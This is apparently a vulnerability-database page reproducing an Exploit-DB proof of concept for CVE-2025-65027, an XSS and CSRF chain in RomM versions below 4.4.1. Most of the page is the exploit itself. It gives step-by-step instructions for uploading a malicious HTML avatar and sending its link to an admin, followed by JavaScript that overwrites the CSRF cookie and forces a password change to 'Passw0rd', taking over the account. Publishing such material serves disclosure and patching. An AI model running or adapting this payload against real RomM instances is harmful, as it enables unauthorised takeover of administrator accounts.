| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-65027 | 3 Dec 202521:16 | – | circl | |
| Romm 代码问题漏洞 | 3 Dec 202500:00 | – | cnnvd | |
| CVE-2025-65027 | 3 Dec 202519:36 | – | cve | |
| CVE-2025-65027 RomM Chained XSS and CSRF Vulnerabilities Enable Admin Account Takeover | 3 Dec 202519:36 | – | cvelist | |
| RomM 4.4.0 - XSS_CSRF Chain | 9 Apr 202600:00 | – | exploitdb | |
| EUVD-2025-201131 | 3 Dec 202519:36 | – | euvd | |
| CVE-2025-65027 | 3 Dec 202520:16 | – | nvd | |
| CVE-2025-65027 RomM Chained XSS and CSRF Vulnerabilities Enable Admin Account Takeover | 3 Dec 202519:36 | – | osv | |
| PT-2025-47563 | 20 Nov 202500:00 | – | ptsecurity | |
| CVE-2025-65027 | 4 Dec 202520:12 | – | redhatcve |
# Exploit Title: RomM < 4.4.1 - XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027
# -------------------
# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover
# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link
# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
# - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
# - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
# - DevTools > Network tab > Filter for `.html` files
# - Or capture it via proxy (e.g., Burp Suite)
# - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"
# -------------------
# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>"; // CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>"; // CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1; // Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd"; // Password to set for victim
// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;
// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
method: 'PUT',
credentials: 'include', // Send victim's session cookie
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'x-csrftoken': csrfToken
},
body: "password=" + newPassword
})
.then(() => {
console.log("Password changed successfully");
})
.catch(err => {
console.error("Attack failed:", err);
});
</script>
# -------------------
# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation